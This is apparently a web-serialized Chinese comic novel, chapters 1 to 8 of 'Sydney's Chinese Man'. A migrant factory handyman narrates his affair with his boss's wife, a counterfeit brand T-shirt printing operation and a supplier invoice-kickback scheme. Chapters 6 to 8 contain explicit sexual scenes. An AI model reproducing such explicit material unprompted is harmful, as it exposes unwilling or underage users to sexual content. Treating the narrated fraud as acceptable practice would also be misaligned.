图片载入中

悉尼的中国男人1—44

特大字】 【大字】 【中字】 【小字

悉尼的中国男人

男女间的事无疑是世上最诱人的事:张老板的外遇令老板娘很不爽,出于公平原则,老板娘决定也来一次外遇。老板娘决定外遇的那天,碰上的第一个外遇对象是手下的杂工小陆子,于是发生了妙趣横生的通奸故事,接着又发生了惊险曲折的张老板捉奸故事,并由这两个故事引发出小陆子和老板娘联手吃掉张老板的翻天覆地故事……这是一部奇特的小说,冷幽默语言、特别是两性描写的独特语言,使小说在澳大利亚报纸连载时引起很多女性争相传阅。读本书的时候你会笑到弯腰,读完之后又会很感伤,换句话说,这是一部雅俗共赏、外行可以看热闹、内行能够看门道的作品。

悉尼的中国男人一

我的吃软饭生涯实际上不是从年尾,即十二月八日开始的。我的有案可查的吃软饭其实是后来帮张老板的老婆抱T恤结果却触动了她胸脯开始的。但十二月八日是我后来好日子的一个重要转折点,所以一切还得从十二月八日说起。

十二月八日那天早上起床我的眼皮到底跳没跳,我已记不得了。我只记得那天天气如常,有太阳和风。十二月份的澳洲就是六月份的中国,天已热起来。那天三十多度的太阳照在房顶上,热风吹在树叶上,我坐在仓库门口的水泥地上,我记得我当时是抱着一只铝皮大饭盒在吃饭。

我大口大口往嘴里扒着饭,这时一阵二到三级风吹来,我就一边动着嘴一边抬头擦汗。我这一抬头就看到张老板远远地从他的宝马车里钻出来,并顺手从车里拖出一只米袋。那是一只脏兮兮的丢在路边也没人捡的米袋,严格来说也不是米袋,而是我们工厂生产的一件特大号T恤,张老板只是把一头缝死了,就成了米袋。张老板就这样拎起这个米袋朝工厂走来。

那时我远远没有后来那么神气,我那时是一个杂工。所谓杂工就是那种招之即来,挥之即去的工人。这种男工在T恤厂的地位可以从全厂女工不叫我大名而叫我小陆子明白一二。厂里女工有事没事就叫,小陆子,拿两团白线来。小陆子,找一根平车针来。小陆子,帮我捏捏背。小陆子,老板来啦!然后女工们哄堂大笑。

你可能会问我那么大一个男人怎么受得了?我告诉你,你没做过新移民你不知道,人的第一紧要事就是要有饭吃。人要吃饭这看看简单实际上并不简单的道理很多人都忘了,但新移民就不可能忘。所以我一看到张老板远远走来,我第一个习惯性动作就是跳起来,逃上楼去扫地或者搬布。但十二月八日那天奇怪了,我看到张老板拎着那只脏米袋走来,我没逃反而迎了上去。

我咽着饭迎上去说,张老板啊,天那么热还跑来跑去,做老板真是比做工人辛苦。

张老板边走边说,是啦是啦,做老板就是吃力不讨好啦,嘿嘿嘿。

听着张老板有事没事都会嘿嘿嘿笑,我也跟在后面假笑着说,就是就是。所以世界上做工人的多,做老板的少嘛。

张老板听了我的话,突然呆了一下,接着又嘿嘿嘿笑起来说,小陆子,你的话有点哲理哦,我以前一直不明白为什么这世界上做老板的人比做工人的少,现在被你一说说明白了。是啦是啦,辛苦的事当然做得人就少嘛,嘿嘿嘿。

我心想你明白个屁,这是命,命就是注定的意思,注定就是不可改变的意思,不可改变就是再努力也是白搭的意思。我当时真的那么想的,做梦也不会想到好日子还在后头。我紧跟张老板呵呵笑着,并讨好地伸手去帮张老板拎那只米袋。没想到张老板一见我碰米袋,就象触电一样避开我的手。张老板抱起米袋,四下看看小声说,小陆子,你就坐在这里吃饭。不要走开,听见吗?说完又朝楼上看看说,要是我老婆下楼,你就咳嗽两声,明白吗?

我点点头。

张老板拍拍我的肩膀说,记住,不要说我回来啦,嘿嘿嘿。

他看我再次点头了,就放心地躲进楼下堆布的仓库。

悉尼的中国男人二

我真不明白张老板怎么有这种癖好,几乎每次拎着这个脏米袋回来就要躲进堆布的仓库。而张老板进去一会,你就可以听到仓库里发出不正常的索索之声。这种索索之声会令人联想到有人正在解裤带拉尿。显然张老板是不可能在他命根子一样的布上拉尿的,那么他到底在黑蒙蒙的仓库里干什么?我的好奇之心一次一次蹿上来,又一次一次忍下去,最后我还是忍无可忍,看看四下无人,就脱了鞋拎着,向索索作响的地方摸去。

仓库很黑。我从亮的地方走进黑的地方,顿时成了瞎子。这样顺着声音没走几步我就一头撞着了布堆。布堆很高,有两人多高,圆滚滚的布一包一包堆起来本来就不稳,被我这样一撞就象泥石流一样排山倒海滚下来。我只听到张老板在布堆之中噢哟了一声,接着张老板的声音就象闷在被子里一样了。

你一定明白张老板现在埋在了他自己的十几包布下面。当时我的反应不是救人而是拎着鞋子逃出仓库,逃到十二月八日的阳光下,我在大声唿叫中证明了我的清白。

楼梯一阵乱响以后,救援大军涌进仓库。女工们不管三七二十一纷纷爬上布包,踩在张老板头上乱蹦乱跳乱喊乱叫,缺乏总指挥的情景就象七十年代上海的小菜场。

张老板是从挖成一口井一样的深洞里提上来的。奄奄一息的张老板提上来时已失去平日的光彩,他满脸是灰,双眼闭着,鼻子上挂着一条鼻涕,闪闪发光,逗得大家偷笑不止。

张老板老婆一边喊人打电话叫救命车,一边翻了翻张老板的眼皮,然后就劲头十足地左一个耳光右一个耳光,噼噼啪啪打起来。不言而喻张老板老婆的两只巨乳也就左晃右晃忙得不可开交。

终于张老板慢慢皱眉头了。他闭着眼睛,有气无力地说了第一句话,他说,行啦。接着张老板慢慢睁开眼。他的第二句话是问,小陆子呢?

我躲在人群里一听老板叫我,我就两腿发软移向张老板。我弯下腰去讨好地说,老板,我在这里。

张老板招招手,意思要我靠近他。我就把耳朵贴上一点,我听到他微弱的声音说,小陆子,我走了以后,不要让人进仓库。张老板说到这里,又加了一句说,任何人,明白吗?张老板说到这里眼睛突然亮了亮,接着就一点一点暗了下去。

张老板和张老板老婆随着救护车的尖叫声远去了。女工们议论了一会也上楼车T恤去了。我回到仓库门口,拿起了饭盒,想想刚才张老板的话有点怪,我又看看四周,独自走进仓库。

我爬上差点埋葬张老板的布堆,疑心重重地打开电筒。我朝深处的一个角落就那么一照,我差点啊地一声叫起来。我不知怎么样描述我当时的惊吓。我只能这样问你,你见过钱吗?你不要不加思考就一口回答说,钱嘛谁没见过?我告诉你,你见过的钱那是你存折上的一点点钱,那都是小钱,不是大钱。我还告诉你,你就是见到大钱那也是在电影里。电影里一皮箱的大钱一般出现在白粉交换场所,一般都是两个戴墨镜的黑社会,一个拿一皮箱美金,一个拿一皮箱白粉,面对面准备交易。突然警车来了,然后枪声四起,然后一皮箱的大钱好象下雨一样散了一地……。

不用我说你也知道那些钱是假钱。你想想看,要是那么一皮箱的大钱都是真钱,导演还会当导演?他早就拎起皮箱去地中海一躺,左手搂妞右手也搂妞了。

十二月八日我见到的是真正的大钱。真正的大钱不是整整齐齐放在皮箱里的,而是乱七八糟堆成一大堆的,用我外婆的话来说就是钱多得象山一样的。

具体来说,张老板的钱是由澳币的五元到一百元不同面值不同颜色组成的,它们缤纷灿烂从那个不起眼的脏米袋里倒出来,倒得一地都是。我恍然大悟了,这就是张老板拉尿一样的索索之声的来源,原来张老板每次回来就躲进仓库,是索索索地数钱。

按照人的本性,那天我完全可以顺手牵羊来它几张花花。你想老板一边大叫自己吃力不讨好,一边一挣就是一米袋的钱,我拿点花花实在不算什么。但奇怪的是那天我一点这种念头也没有,我只是趴在地上,帮张老板把这些红红绿绿的票子按红的和绿的整理好,重新塞进米袋。

悉尼的中国男人三

张老板第二天早上就从医院回来了。我交给他这一米袋时他也没说谢谢,但晚上下班,张老板走上来拍拍我的肩膀说,小陆子,听说你住的地方不怎么样,从今天起,你就住我那里。你早上帮我开厂门,晚上帮我关厂门,你就是我得力助手。

嘿嘿嘿,好好干,明白吗?说着张老板把工厂的钥匙递给了我。

我睁大了眼看着张老板。我心里明白一定是张老板认真数了一次米袋里的钱了。

张老板看我一动不动就说,去,去整理一下你的东西,你的被子被单什么的就不要搬进来了。东西越简单越好。张老板说完就抽了两张大票子扔给了我。

就这样在午夜零点我作为张老板的亲信搬进张老板的豪宅。那是一个价值百万,有前园和后园之分的庄园。不过我搬进去碰到的第一件事就是张老板和张老板老婆的吵架。

张老板和张老板老婆一粗一细两个声波在午夜零点的庄园空气中砰然相撞,十分尖利。张老板和张老板老婆说的是中文,但显然用的是一种隐语,所以我只能隐隐约约听到什么一三五二四六以及公平不公平等等不明不白的话。后来我才弄清楚原来张家大园只是前园张老板老婆住,而后园住着另一个女人。按照张老板和张老板老婆的君子协定,一三五是指每星期的一、三、五,张老板到前园和张老板老婆过夫妻生活。至于二、四、六,张老板可到前园,也可不到前园,一切凭良心而定。

那天我搬家是星期五,按照一三五的君子协定,张老板义不容辞应该去前园。

但张老板一口咬定说现在已是零点,也就是说是星期六而不是星期五,张老板理由充足拒绝踏进前园一步。于是张老板和张老板老婆关于到底算星期六还是算星期五的激烈争论就那么开始了。争论大概持续了二十分钟,最后以张老板老婆砰然一声门响而暂告一段落。

张老板老婆为什么那么渴望张老板进前园?而张老板为什么那么怕进前园?我当时也没弄明白。一直到后来我成了张老板家的引狼入室的狼,我才真正明白。那时我坐在一张长沙发上,张老板老婆的巨臀坐在我的大腿上,我的两手分别搁在她的一对巨乳上,我刚刚代替张老板饱尝了张老板老婆惊心动魄的上来吧和下去吧(张老板老婆常用语),垂头丧气的我这才真正明白当初张老板老婆为什么每逢一三五总是满腔热情地穿着粉红色半透明睡衣,坐在沙发上盼星星盼月亮一样盼张老板到来,而张老板就象躲鸡瘟一样躲避自己的老婆。真的,要想填饱张老板老婆这口深井谈何容易啊。

悉尼的中国男人四

十二月八日我差点害死张老板,而张老板却把我当成救命恩人让我搬进了他豪宅,这第二天,我摇身一变就成了管工。由于我一时还不适应,所以当张老板进来时,我又习惯性地拿起扫把。

张老板扔掉我的扫把说,啊呀,小陆子,扫地的事不用你做,你帮我把这十袋T恤送出去,按这个地址送。张老板说着从一大串钥匙中选出一把汽车钥匙交给我。汽车钥匙长长的,连着一个遥控,好象一把小手枪。张老板做梦也没有想到(包括我本人也没有想到),他交给我这把小手枪,后来一枪把他给毙了。

当我把第一批货送到张老板指定的地点,我才明白张老板的T恤生意的秘密。

我以前一直不明白张老板的几十万件T恤到底是怎么一件一件卖掉的。我一直担心我们工厂每星期要生产一座山一样的T恤,张老板要卖到何年何月。这就象我的一个朋友,他在西人的厕纸工厂打工,他也一直傻瓜一样担心,每天那么一卡车一卡车拉出去的厕纸怎么卖呀,看起来好象全世界都拉肚子了。现在我明白了,张老板的T恤和我朋友的厕纸一样,只要做出来,就自然流水一样流起来,根本不需要我们这些傻瓜忧天的。

我运了一段时间的T恤就和大批发商杰克李搞熟了。有一天我对杰克李说,如果我有T恤,我说的是如果,比张老板的便宜,你要不要?

杰克李马上反问我说,为什么不要?

我很奇怪地看住杰克李,我说,你不是和我们张老板是朋友吗?

杰克李说,我和你们的那个阿张是朋友啦,不过朋友是朋友,生意是生意,这是两件不同的事啦。

我当时听了很新鲜。朋友是朋友,生意是生意,这两句听上去好象重复一遍的废话,当时我真没听懂。这主要可能是我当时刚刚从大陆来这里,大陆那时人和人的关系还没象后来也变得朋友是朋友,生意是生意那样简单明了。

悉尼的中国男人五

T恤旺季如期到来。兴奋的张老板每天夹着他那只宝贝的肮脏米袋行走如飞。

这种一阵风的行走方式令人想起一百零八将里的偷鸡贼时迁。

同时张老板开始头痛了。人的头痛基本上有两种,一种是穷造成头痛,另外一种是福造成头痛。张老板的头痛是后者。他说他不知道钱怎么藏。

我听了说,这很简单嘛,存银行,生利息。张老板一听,吓得跳起来说,银行和税局的电脑是联网的,这叫自投罗网。我说那藏在家里。张老板说家里安全吗?

要是贼来,搬个光,还不敢报警。我说那就藏在身上。我说我一般发了工钱,经过土着区的时候就藏在鞋子里。张老板笑起来,脱口而出说,那能藏多少?我突然想起来张老板和我讨论的钱是他每周如期扛回来一只米袋的存放问题,而不是我几张票子的问题。我就笑起来说实在太多,就我来帮你藏。张老板马上嘿嘿嘿笑着说也没多少钱,开开玩笑的。我笑笑说,张老板,别紧张,我又不向你借钱。就是借,我想你也肯的。张老板说那是那是,我就相信你这个人。我接着说,我们以前读书时书上说,有了钱都要扩大生产,这叫钱生钱。藏是最笨的了。他说他是想投资,但不知道投到哪里去。我就献计献策说,你每天那么多T恤送出去印花,为什么不自己开个印花厂自己印?这叫肥水不流他人田。

张老板一听,眼睛顿时一亮。他有点激动地说,小陆子,你是有功之臣,我要好好奖励你。你坐,我们商量商量搞个印花厂。

这就是后来为张老板挣大钱的印花厂的由来,也是张老板出事倒闭的由来。可见好事和坏事要来是一起来的。

关于张老板印花厂我要多说几句,因为不仅仅涉及到张老板出事,而且这还涉及到我和张老板老婆私情的开端。

我记得我一开始就谈到过张老板家里的一三五和二四六问题。我说过张老板在发现没少一分钱以后,他以无比信任的姿态邀请我搬进他的豪宅。也就是那晚我第一次听到张老板因为不肯进张老板老婆的房间而引起张老板老婆大发雷霆。那时我还觉得张老板不履行丈夫之责不对,还不知道张老板老婆是一片久旱的沙漠。

我说张老板老婆是久旱的沙漠,这个比方还太平静,缺乏水性扬花的动荡感。在我和张老板老婆成了好事后,我才真正理解并充分同情张老板为什么总是逃之夭夭。坦白地说后来我自己有一段时间不能听到张老板老婆叫,小陆子,上来吧。

我一听上来吧这三个字就两脚发软。不过话要说回来,第一次听到张老板老婆叫我上来吧,我真是激情澎湃,该软的地方软,该硬的地方硬。

第一次具体来说是这样的:张老板和我在一个隐蔽的地方找了一个旧仓库租了下来,然后我们把这旧仓库的窗全部封了起来,改造成印T恤的印花基地。在这个基地,我们开始了盗印世界上最流行最有名最好卖的名牌T恤。

这个盗印名牌工厂只有四人知道,那就是张老板、张老板老婆、我和李丹玲。

为了保密,我们把全部光线封死了,气味是从屋顶的排气扇出去。我们请的工人都是自身难保的黑民。他们来到这个暗无天日油墨味熏人的旧仓库,第一个感觉是,这里真安全啊。他们天不亮就进来,天黑了才走,与世隔绝正是他们的渴望。

每天他们把印出来的罪证用塑料垃圾袋包好,天一黑就由我和张老板探头探脑一包一包偷运出去,再由一条龙偷运到各地,出现在全澳洲的商店和地摊上。这种鬼鬼祟祟的勾当令我联想到天黑杀人夜这个名句。

我和张老板老婆的精彩故事就发生在这仓库的有一天晚上。

那天晚上一开始我一个人在仓库。也真是巧,张老板不知跑到哪去了。好象是上帝有意安排的,怎么找也找不到他。而客户的电话一个接一个。他们问的是同一个问题,世界名牌还送不送来?那时这种盗版T恤实在是太好卖了,澳洲人太喜欢名牌,又太没钱买名牌了。所以一开始客户还比较客气用请和谢谢。但几次电话以后,他们失去耐心,开始用脏话了。

在不断的英文操操操的压力下,我实在顶不住了,只好打电话给张老板老婆。

我说,老板娘,你来一下吧,我实在顶不住了。张老板老婆说,你等着,我马上过来。

这样我和张老板老婆故事就开始了。

悉尼的中国男人六

那天我真的不知道张老板老婆说她马上过来到底是蓄谋已久,还是心血来潮?

我只记得当我打开旧仓库大门把第一包世界名牌T恤递给张老板老婆时,她没用手来接,而是用胸来接。

你有经验你一定明白在张老板老婆挺胸抱T恤时,我的手实际上是在这包T恤的前面。说的清楚点就是我的手在一包T恤和一对巨乳之间。我把这包T恤交给张老板老婆,我的手背马上感觉到热乎乎的两团东西。不言而喻你会兴致勃勃地问我感受如何。我记得我第一个感觉是象触电。当然说触电这个比喻不很恰当。因为真触过电的人不可能想再触第二次电,而我触完电就迫不及待等触第二次了。这样那晚一共一百零三包世界名牌盗版T恤经我的手和张老板老婆的胸送上了面包车,也就是我一共触了一百零三次一次不少的电。触电是多么令我心旷神怡啊。同样我觉得张老板老婆也触电触得脸红红的。我们闷声不响越干越欢,真恨不能把这一百零三包变成一千零三十包。所以当我们搬到最后一包时,我们不约而同失望地说,怎么这么快?没有了?

接下去自然而然进入心照不宣谁先开口说第一句话的关键时刻。张老板老婆以她那种久经沙场的风度一言不发。我也由于吃不透不敢冒进。我就以退为进地试探说,不早了,我去送货了。

张老板老婆一听我要走,马上露出真容说,反正晚了,明天送一样。接着她扭动头颈说刚才搬T恤时扭了。她一边这样说一边伸手到头颈后面自己捏起来。

这种信号我要说我不懂,那我就太虚假。我一边心里偷笑一边一脸关心的样子说,那我先送你回去,叫李丹玲帮你捏捏。

张老板老婆听了瞪我一眼,二话没说就一脚踢上了仓库门。她两眼发光地看住我,就象猎人看住猎物说,小陆子,你可以跟阿张装煳涂,但你要是跟我装煳涂,这叫不识抬举你懂吗?张老板老婆说完就抬手脱出一只袖子。

顿时一只健壮如牛的雪白臂膀展现在我眼前。她指指肩膀和头颈的交接处说,就这里。说完她闭上眼,一付世界不存在的样子。

我记得我当时没有象一般男人饿死鬼一样向张老板老婆扑去。可能是做杂工做久了,我的胆子做没了。也可能是张老板对我不薄,我不好意思占有他的老婆。所以我小心翼翼捏着又厚又白的肩膀,眼睛时不时偷看一下仓库门。我想象一旦张老板突然推门进来,我的手停在哪里才比较容易说得清楚。我想我不能一失足成千古恨,重新回到当初背着布包找工的年代去。我永远忘不了刚来悉尼时,背着布包,包里放了一只可口可乐瓶,瓶里装了自来水,沿着铁路一家一家找工的心酸日子。

张老板老婆独自闭了一会眼感觉没动静,就睁开眼,见我发呆,她说话了。她说,小陆子,我知道你在想什么。

我一惊,忙捏了几下张老板老婆。

张老板老婆看着我说,我告诉你,小陆子,这个工厂有我一半股份。明白我的意思吗?

我说,当然当然。

张老板老婆在我脸上拍拍,就象拍小宠物一样又说,当然什么,你不明白我的意思。我再说得明白一点,这个厂要谁不要谁我说了算,现在明白了吗?

我听了马上笑眯眯地说,明白明白。说着我看了一眼门,一只不老实的手探宝一样探进了张老板老婆的胸罩……。

那晚我们的动作比较简单,即比较原始,当然也比较有力。我们实打实就象打桩一样,一下就是一下,没来什么前戏和后戏花色品种。这可能因为我很久没女人了,根本也就没想到那么多的什么戏。也可能心里还是紧张,我几乎是看也没看清楚就一下子进去了。只听张老板老婆yes了一声,接着就是我叫一声哦,她叫一声yes,我又叫一声哦,她又叫一声yes,我们两个一哦一yes,一会儿就叫开了花。

由于张老板老婆叫声实在太响,我怕声音破门而出,于是在进行到一半的时候我从张老板老婆身上爬起来去开收音机。我的意思很明白,就是要用滚石乐盖住我们的yes和哦。没想到张老板老婆对我突然离去非常恼火。她睁开眼,抓起一只鞋子就扔过来,砸在我旁边的印花机上。我这是第一次知道女人原来急起来也和男人一样火烧眉毛。我笑眯眯地说,怎么啦?急成这样子。张老板老婆大声说,你干什么你!你给我过来!

这种事本来是开心的事,现在她这样一扔一叫,我心里不开心了。我想你他妈的当我什么东西?我开收音机还不是为了顾全大局?我真想拉起裤子走人,但一想到刚才张老板老婆拍拍我的脸说的话,我又忍气吞声陪笑脸了。我跑回来拍拍她又白又肥的屁股说,你呀你,真是小孩子脾气,我哪里知道你叫得那么响啊。

张老板老婆说,我叫得很响吗?我没觉得嘛。

我拍马屁说,你叫得屋顶都震动啦。要是这个地方被人注意了,张老板就麻烦了。

张老板老婆笑起来,她看住我一语双关地说,看来阿张没选错人哦。

我不好意思笑笑说,我们不谈这些,从头来过怎么样?

张老板老婆低头看了我一眼,咯咯咯笑起来说,我可以啊,你行吗?

我也看了一眼我自己,不好意思地说,试试看吧。应该可以的。

张老板老婆说,那好,上来吧。

我和张老板老婆完事以后,我关了收音机,开了灯。灯光下张老板老婆收拾她的头发,她的脸经过雨露滋润,鲜嫩可口,真象我家乡的三黄鸡。我靠在墙角,看着她,情不自禁地说,你真象三黄鸡啊。

她梳着头回头说,什么?

我改用张老板他们的语言说,我在说你现在特别靓啊。

张老板老婆用女人惯用的羞答答样子说,什么意思?现在?

我说,是啊,现在啊。

张老板老婆满脸红光地笑起来说,小陆子,你很坏的哦。不过阿张也说我一来这种事,人看上去就年轻五岁。

我说,五岁?哪止啊,起码十岁。

张老板老婆说,那好啊,以后多来来吧。

我当时没听出她这话的含蓄和可怕,我还不知天高地厚握了一下拳头说,好,以后有空就来。

张老板老婆用一种很有劲的眼光扫了我一眼,笑眯眯地说,小陆子,只要你吃得消。我是天天来都可以的。

我不知深浅说,吃不消?谁吃不消?你不要以为我瘦,这种事不看瘦不瘦,看筋骨好不好。说着我弯了一下手臂,凸起一小块肌肉来要她摸一摸。

张老板老婆挥挥手,懒得走过来摸。这一点我发现男女都一样,满足了就摸也不要摸了。不过幸好她没上来摸,就在她挥挥手的时候,突然门响了,张老板喘着气跑了进来。他一边跑一边乱叫货呢货呢。

你可以想象我当时受惊程度。我吓得脚都软了,我一弯腰捂住皮带说,货,什么货?

张老板老婆毕竟久经沙场。久经沙场人的第一个反应就是转守为攻。她瞪起双眼说,衰人,你跑到哪去了?大哥大也关掉,你干什么你?

姗姗来迟的张老板可能刚才干的也不是什么正经事,他显然被他老婆那种先发制人的攻势一下子镇住。他慌里慌张看住老婆自言自语说,我去哪里了?我没去哪里啊。大哥大没电了,没电了就不通了啦,嘿嘿嘿。

张老板老婆继续加强攻势说,没去哪里去了那么久?你知不知道要不是小陆子客户都得罪了?小陆子搬T恤搬得腰都快断了。

张老板马上嘿嘿嘿笑着说,辛苦了辛苦了,小陆子,重赏重赏。张老板走过来,看看我正在扣上的皮带关心说,怎么样,腰伤得厉害吗?嘿嘿嘿,要不要去看一下?

我马上笑着说,没什么没什么。这是我应该做的。

张老板老婆跟着说,我也累死了。说完她也扭了扭腰说,今天全亏小陆子了。

张老板对他老婆自豪地说,看到吧,我早就告诉过你,小陆子不错的不错的,现在相信了吧。关键时刻他就是能帮我。

张老板老婆看看我,带了一点色情说,不错吗?一般嘛我觉得。不过倒确实能帮忙。说完对我眨眨眼,并偷笑起来。

我吓得不敢看她,我抬手看了一下手表,很严肃地对张老板说,那,我先送货去。客户还等着呢。

张老板说,好好,快去快去。等我转身他又提醒我皮带系好,他笑着说,我刚进来看你皮带松了一半,还以为你胆子大,当着我老婆拉尿呢,嘿嘿嘿,开玩笑开玩笑。

悉尼的中国男人七

第二天近十点我才回工厂。张老板老婆看到我进来,就象迎接战斗英雄一样送上一杯人参茶叫我喝了它。

我说,会出鼻血的。

她说,不会,我有空就喝一杯,很好的。

我腰酸背疼地想,幸好有空一杯,要是吃饭一样一天三杯,我命都没了。

张老板老婆在我接杯子时意犹未尽地把手伸到我的两腿之间说,以后有些事你告诉我,我可以叫阿张自己去做。

我看看周围小声说,大白天,给人看见了。

张老板老婆一听笑起来说,yes,我都忘了大白天了。

我推开她的手,慌里慌张地越过她的肩膀看看办公室。张老板老婆马上明白我的意思,她说,小陆子,我告诉你,这种事就是到了全厂都知道,阿张也不会知道,用你们大陆人的话就是蒙在鼓里,你信不信?

我说,那也要小心,用你们的话来说就是小心驶得万年船。

张老板老婆听了想了想,觉得也有道理。

不过说实话,我和张老板老婆进进出出,勾勾搭搭,大家见多了也不奇怪了。

有时张老板老婆看张老板不在,她当众咬一口巧克力,又叫我也咬一口巧克力,这样你一口,我一口,卿卿我我,真是甜哦。一些老工人看了也不知是不是真心,她们说,小陆子啊,你真有福气哦。看看我们,这一辈子就这样打工打下去了。我心里说,你们懂什么,来之不易啊。

由于我做了张老板老婆的面首,所以张老板不在时,我在工厂可以无法无天,为所欲为。我一会指挥这个,一会指挥那个,真有点拿破仑指点江山的味道。有一个工人不服,暗中说我吃软饭,我知道以后,第二天当众就叫她滚蛋。可见一生人世有很多时候一开始确实不如意没面子,比方做面首。但是做着做着就习惯了,习惯了也就自然了,自然了也就开心了。这就是我做面首做出来的一点心得。

我记得古书里常常有太监做久了,胆子做大了,干起不应该是太监干的事来。

我也一样,面首做久了,胆子大起来,我开始做一些面首以外的勾当。

有一次,那个长期供布给张老板的小胡子悄悄说想请我吃饭。我就去了。

他找了一个很高级的餐馆和我吃饭。吃着吃着他就说出其用意来。他说,我今天请你吃饭,是想谈谈我们的合作。

我一听很奇怪。我说,我们有什么可以合作的?

他看看四周说,可以合作的东西多了我们。首先你告诉我想不想赚钱?

我说,废话。

他说,那就好办了。

他把头凑上来说,我送布来的时候,我们就可以合作了嘛。

我不明白地看住他。

他笑嘻嘻地说,小陆子,我都打听过了,知道你在厂里地位不一般。不不不,你不要误会,我没兴趣打听你和老板娘的事,我是说我们打开天窗说亮话,我们可以合作嘛。比方以后每次我送布来,我只送大概半吨布,但发票上写一吨。你明白我的意思吗?我卸货,你就开一只眼闭一只眼签名,这样另外半吨的钱就我和你私分掉。

我听了背后发冷。我说,这,这,这不是犯罪吗?

小胡子摸了一下下巴上的小胡子笑眯眯地对我说,这怎么叫犯罪?这叫捞点外快。你知道你们阿张现在赚钱赚翻了,我们只是跟着他捞点小钱。

我听了不作声。

小胡子又说,做生意就是讲究大家有钱赚。一般这样的里应外合都是一九分成,最多也二八分成。我看你人不错,这样吧,我们三七分。

我一听吓一跳。三七分?我心算一下我们一个月进多少布,天啊,不用几个月我也要象张老板那样为藏钱之事发愁了?原来发财机会也是踏破铁鞋无觅处,得来全不费功夫。张老板一辈子也算不清他库存棉布进来多少,裁掉多少,因为这全部由我管。当然我心里笑,脸上还是皱眉头的。我有点怀疑他说话是否算话,我要搞清楚是不是做一次贼就分一次赃,不要贼做了,赃没分到人跑了。我正要开口问,没想到小胡子先开口了。可能就在我皱眉头时,小胡子产生了误解。他看我紧皱眉头的样子以为我对三七分赃不满,他就咬了咬牙,敬酒一杯后说,妈的,大家是朋友不绕圈子。四六分怎么样?

我听了哈哈大笑。这样我开始了做助理、做面首、做贼三重身份的生涯。

悉尼的中国男人八

但纸确实包不住火,偷货没发现,我做张老板老婆的面首,或者说张老板老婆偷汉子的勾当,却在一个深秋的夜晚被活捉了。

回想那天,如果张老板老婆不那么猴急叫我去,我们两个本可以神不知鬼不觉再风流一段时光。但张老板老婆叫了,我也去了,奸情就这样被揭露了。

记得那是一个深秋之夜。深秋之夜有凄冷秋风扫过,树叶在地上翻滚,发出沙沙之响。我作三句风景描写不是象唯美主义者那样纯粹为了美,我的深秋描写要深刻一些,是为后来我光着身子跳出窗口,躲在阳台上冻得发抖,最后打喷嚏而被活捉埋伏笔的。

那天是这样的,张老板老婆叫我过去,她说她睡不着。我说你不要忘了今晚星期几了。张老板老婆说,怎么了,星期五呀。

可能你已忘了前面说过的一三五和二四六的问题。一三五二四六是说每逢星期一、三、五的晚上,张老板要去张老板老婆那里履行丈夫之责。那晚是星期五,已很晚,但张老板还没出现,张老板老婆就猜他不会来了。她放肆地说,我怎么不知道今天是星期五呀。阿张要是来,简单啊,他左边你右边嘛。

我是最怕开这种玩笑了。我出门坐飞机都怕别人祝我一路顺风,坐船最怕别人吃饭时翻鱼。我环顾四周说,万一真的来了,我往哪里逃?

张老板老婆听了我的逃跑忧虑后,也帮我四处看看。我记得电影里一般偷情偷了一半丈夫突然回来的镜头不是没有,不过导演处理都太简单。导演不外乎三个办法,一个是叫演员趴床底下,一个是叫演员蹲衣柜,一个是躲厕所。其实这趴、蹲、躲都说明了导演幼稚可笑,要知道现代席梦思床已不允许人往下钻,衣柜又随时会被打开,厕所就更不现实更不用说了。所以我考虑再三,一旦出现意外,最理想的出路是藏身阳台。因为深秋之夜,寒风索索,张老板跑来他老婆的房间是为了履行丈夫之责,用现代一点的话就是来交公粮,张老板不会有心情跑到阳台欣赏夜景。但我没考虑到同样是深秋之夜,寒风索索,我光着身子会打喷嚏。

凭天地良心,那晚张老板破门而入时,我并没对张老板老婆做什么事。这在犯罪学上说叫未遂。事实上就是在判强奸案时,遂与未遂也是有所区别的。因为遂了,就是占到便宜了,毙了也就毙了。但要是未遂而给毙了那就怨了。

那晚我们未遂的主要原因是我们上床后不知是谁先谈起,可能是我先谈起这样偷阿张的T恤卖早晚要发现。但张老板老婆的意见是我们根本不用怕阿张。张老板老婆说,他算老几?没有我有这工厂?我说,那是那是,但发现了总不好吧?张老板老婆一挥手说,知道了,我们索性自己干。我说,你意思是我们分开来干?张老板老婆说,阿张现在还不是靠你,我们自己干,肯定杀死他。我担心阿张在T恤市场上朋友多,我们不是他对手。张老板老婆说,啊呀,做生意有什么朋友不朋友,谁的价钱便宜谁就是朋友。张老板老婆大概对床上讨论阿张没兴趣,她挥挥手好象要把阿张挥走一样说,小陆子,你怎么老是这种时候说这种没意思的事,你能不能集中精力一点?

我看到她不高兴了,我忙拍拍她说我带来了一本色情杂志,上面有些动作可以借鉴。

张老板老婆一听高兴了,叫我快拿杂志给她看。她若有所思地说,这就好象吃饭,老是几个菜怎么行呢。

楼梯口的动静是我第一听到的。那时张老板老婆正按色情杂志照片做一个高难度动作。她叫我等她这动作做稳了,就上去。她说小陆子,听好了,我一叫上来吧你就上,我撑不了几分钟的。但五脏六腑颠倒的张老板老婆做了几次都没成功,她喘着气,一屁股坐在床上抱怨说太难了。我在旁边双手抱胸笑着说,这种动作我们小时候叫竖蜻蜓。真没想到当年我们在街边玩的东西,到西方居然发展到了床上。

我指指图片说上面那些女郎都十八九岁,你怎么跟她们比?张老板老婆听了不高兴了,她猛吸一口气又努力起来。她头朝下,屁股朝上,眼睛朝上,白眼都翻出来了说,你就不会过来帮我一把?我说好吧好吧就笑着走上去辅助她提两只脚,就在这时我听到了楼梯口的脚步声。

由于我对张老板的声音太熟悉,我不可能自欺欺人说这是一只猫。我自言自语说,好象是阿张哦。

张老板老婆一听,顿时她的身子从半空中栽下来。头咚地一声就象法西斯的飞机给击中一样,一头栽在地上。不过当时我已顾不得笑,我跳下床,一步窜进洗澡房。

张老板老婆也从床上跳起来窜进洗澡房。我急了说,你跑进来干什么?你给我顶住!张老板老婆一听就跑了出去。她跑了没几步又跑进来说,不能躲这里,阿张要上厕所的。我一听马上想起来刚才探讨过的逃亡之事,我赶紧光着屁股连阳台门也没开就跳出窗台。

张老板老婆窗还没关好,张老板就进屋了。我听到张老板在问张老板老婆,你光着身子满房间跑什么?

